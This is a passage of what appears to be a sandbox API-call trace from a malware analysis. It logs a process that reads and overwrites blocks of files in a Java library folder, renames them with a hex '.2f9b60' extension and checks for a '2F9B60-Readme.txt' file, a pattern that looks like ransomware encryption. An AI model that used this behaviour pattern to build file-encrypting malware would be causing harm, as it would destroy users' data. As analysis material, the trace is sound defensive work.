Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0141.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ca920 [0141.339] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.339] ReadFile (in: hFile=0x1fd4, lpBuffer=0x421ca920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3748fb40, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x3748fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0141.360] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ce530 [0141.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0141.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0141.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.365] WriteFile (in: hFile=0x1fd4, lpBuffer=0x421ce530*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3748fb40, lpOverlapped=0x0 | out: lpBuffer=0x421ce530*, lpNumberOfBytesWritten=0x3748fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0141.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ce530) returned 1 [0141.368] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0xec400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.369] ReadFile (in: hFile=0x1fd4, lpBuffer=0x421ca920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3748fb40, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x3748fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0141.371] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0xec400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0141.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0141.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ce530 [0141.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0141.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.372] WriteFile (in: hFile=0x1fd4, lpBuffer=0x421ce530*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3748fb40, lpOverlapped=0x0 | out: lpBuffer=0x421ce530*, lpNumberOfBytesWritten=0x3748fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0141.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ce530) returned 1 [0141.374] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x1d2298, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.374] ReadFile (in: hFile=0x1fd4, lpBuffer=0x421ca920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3748fb40, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x3748fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0141.375] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x1d2298, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ce530 [0141.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0141.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0141.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.377] WriteFile (in: hFile=0x1fd4, lpBuffer=0x421ce530*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3748fb40, lpOverlapped=0x0 | out: lpBuffer=0x421ce530*, lpNumberOfBytesWritten=0x3748fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0141.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ce530) returned 1 [0141.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e2c0 [0141.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0141.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ca920) returned 1 [0141.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fded0 [0141.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0141.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0141.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fd780 [0141.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebc580 [0141.384] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.385] WriteFile (in: hFile=0x1fd4, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3748fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x3748fbf0*=0x146, lpOverlapped=0x0) returned 1 [0141.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0141.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0141.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0141.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda07f0 [0141.392] sprintf (in: _Dest=0x1cda07f0, _Format="%c%c" | out: _Dest="84") returned 2 [0141.392] sprintf (in: _Dest=0x1cda07f2, _Format="%c%c" | out: _Dest="a3") returned 2 [0141.392] sprintf (in: _Dest=0x1cda07f4, _Format="%c%c" | out: _Dest="02") returned 2 [0141.392] sprintf (in: _Dest=0x1cda07f6, _Format="%c%c" | out: _Dest="ed") returned 2 [0141.392] sprintf (in: _Dest=0x1cda07f8, _Format="%c%c" | out: _Dest="c2") returned 2 [0141.392] sprintf (in: _Dest=0x1cda07fa, _Format="%c%c" | out: _Dest="4b") returned 2 [0141.392] sprintf (in: _Dest=0x1cda07fc, _Format="%c%c" | out: _Dest="6c") returned 2 [0141.392] sprintf (in: _Dest=0x1cda07fe, _Format="%c%c" | out: _Dest="ad") returned 2 [0141.392] sprintf (in: _Dest=0x1cda0800, _Format="%c%c" | out: _Dest="67") returned 2 [0141.392] sprintf (in: _Dest=0x1cda0802, _Format="%c%c" | out: _Dest="b8") returned 2 [0141.392] sprintf (in: _Dest=0x1cda0804, _Format="%c%c" | out: _Dest="7e") returned 2 [0141.392] sprintf (in: _Dest=0x1cda0806, _Format="%c%c" | out: _Dest="87") returned 2 [0141.392] sprintf (in: _Dest=0x1cda0808, _Format="%c%c" | out: _Dest="d9") returned 2 [0141.393] sprintf (in: _Dest=0x1cda080a, _Format="%c%c" | out: _Dest="6e") returned 2 [0141.393] sprintf (in: _Dest=0x1cda080c, _Format="%c%c" | out: _Dest="f1") returned 2 [0141.393] sprintf (in: _Dest=0x1cda080e, _Format="%c%c" | out: _Dest="be") returned 2 [0141.393] sprintf (in: _Dest=0x1cda0810, _Format="%c%c" | out: _Dest="d1") returned 2 [0141.393] sprintf (in: _Dest=0x1cda0812, _Format="%c%c" | out: _Dest="3b") returned 2 [0141.393] sprintf (in: _Dest=0x1cda0814, _Format="%c%c" | out: _Dest="f1") returned 2 [0141.393] sprintf (in: _Dest=0x1cda0816, _Format="%c%c" | out: _Dest="f3") returned 2 [0141.393] RtlInitAnsiString (in: DestinationString=0x3748fc68, SourceString="84a302edc24b6cad67b87e87d96ef1bed13bf1f3" | out: DestinationString="84a302edc24b6cad67b87e87d96ef1bed13bf1f3") [0141.393] RtlAnsiStringToUnicodeString (in: DestinationString=0x3748fc38, SourceString="84a302edc24b6cad67b87e87d96ef1bed13bf1f3", AllocateDestinationString=1 | out: DestinationString="84a302edc24b6cad67b87e87d96ef1bed13bf1f3") returned 0x0 [0141.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9df70 [0141.393] RtlFreeAnsiString (AnsiString="8") [0141.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0141.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0141.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc580) returned 1 [0141.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0141.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 [0141.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0141.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x420618b0 [0141.395] wcscat (in: _Dest=0x420618b0, _Source="84a302edc2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\84a302edc2") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\84a302edc2" [0141.395] wcscat (in: _Dest=0x420618b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\84a302edc2.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\84a302edc2.2f9b60" [0141.395] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\84a302edc2.2f9b60", NtPathName=0x3748fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\84a302edc2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1870 [0141.395] NtSetInformationFile (FileHandle=0x1fd4, IoStatusBlock=0x3748fcb0, FileInformation=0x202b1870, Length=0x8c, FileInformationClass=0xa) returned 0x0 [0144.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1870) returned 1 [0144.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece5e0) returned 1 [0144.135] NtQueryInformationFile (in: FileHandle=0x1fd4, IoStatusBlock=0x3748fc78, FileInformation=0x3748fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3748fc78, FileInformation=0x3748fc88) returned 0x0 [0144.135] NtSetInformationFile (FileHandle=0x1fd4, IoStatusBlock=0x3748fc78, FileInformation=0x3748fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0144.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9df70) returned 1 [0144.380] FlushFileBuffers (hFile=0x1fd4) returned 1 [0144.384] CloseHandle (hObject=0x1fd4) returned 1 [0144.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0144.386] wcscpy (in: _Dest=0x420618b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0144.386] wcscat (in: _Dest=0x420618b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0144.386] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0147.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863d50) returned 1 Thread: id = 2094 os_tid = 0x13e0 [0138.581] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfont.properties.ja" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfont.properties.ja")) returned 0x20 [0140.610] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfont.properties.ja", dwFileAttributes=0x20) returned 1 [0140.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfont.properties.ja" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f2c [0141.324] GetFileSizeEx (in: hFile=0x1f2c, lpFileSize=0x376df7c0 | out: lpFileSize=0x376df7c0*=2796) returned 1 [0141.324] SetFilePointerEx (in: hFile=0x1f2c, liDistanceToMove=0xae8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.324] ReadFile (in: hFile=0x1f2c, lpBuffer=0x376df740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x376df788, lpOverlapped=0x0 | out: lpBuffer=0x376df740*, lpNumberOfBytesRead=0x376df788*=0x4, lpOverlapped=0x0) returned 1 [0141.408] SetFilePointerEx (in: hFile=0x1f2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.408] NtQuerySystemTime (in: CurrentTime=0x376df680 | out: CurrentTime=0x376df680*=132462177466474000) returned 0x0 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x2c2f4ce [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x641a31bd [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x27a061d5 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x15c64860 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x6c539aad [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x6f7d33a7 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x7a7b45e3 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x56d9dd10 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x271939be [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x786aaebb [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x4ad962a2 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x15a8837e [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x1dcb0507 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x155509e1 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x581d7bc3 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x1c583a13 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x2f63ef9c [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x72dee92b [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x7ef8d508 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x16a6c29e [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x3eebf53a [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x472f8203 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x272bc7b2 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x29325df6 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x4039f062 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x3a143365 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x7532d468 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x306d68ac [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x3b20d9c1 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x1d3aede9 [0141.409] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x686ec9cf [0141.410] RtlRandomEx (in: Seed=0x376df670 | out: Seed=0x376df670) returned 0x7ebdd8ba [0141.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0141.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ce530 [0141.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d5d50 [0141.424] ReadFile (in: hFile=0x1f2c, lpBuffer=0x421ce530, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x376df670, lpOverlapped=0x0 | out: lpBuffer=0x421ce530*, lpNumberOfBytesRead=0x376df670*=0xaec, lpOverlapped=0x0) returned 1 [0141.424] SetFilePointerEx (in: hFile=0x1f2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.424] WriteFile (in: hFile=0x1f2c, lpBuffer=0x421d5d50*, nNumberOfBytesToWrite=0xaec, lpNumberOfBytesWritten=0x376df674, lpOverlapped=0x0 | out: lpBuffer=0x421d5d50*, lpNumberOfBytesWritten=0x376df674*=0xaec, lpOverlapped=0x0) returned 1 [0141.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0141.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0141.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d5d50) returned 1 [0141.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ce530) returned 1 [0141.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f5b0 [0141.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0141.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0141.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9fbf0 [0141.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0141.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0141.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0141.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b866130 [0141.563] SetFilePointerEx (in: hFile=0x1f2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.563] WriteFile (in: hFile=0x1f2c, lpBuffer=0x1b866130*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x376df790, lpOverlapped=0x0 | out: lpBuffer=0x1b866130*, lpNumberOfBytesWritten=0x376df790*=0x11a, lpOverlapped=0x0) returned 1 [0141.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fdf00 [0141.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdbd0 [0141.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0141.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0141.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9dc70 [0141.612] sprintf (in: _Dest=0x1cd9dc70, _Format="%c%c" | out: _Dest="b9") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc72, _Format="%c%c" | out: _Dest="08") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc74, _Format="%c%c" | out: _Dest="58") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc76, _Format="%c%c" | out: _Dest="cc") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc78, _Format="%c%c" | out: _Dest="35") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc7a, _Format="%c%c" | out: _Dest="01") returned 2 [0141.612] sprintf (in: _Dest=0x1cd9dc7c, _Format="%c%c" 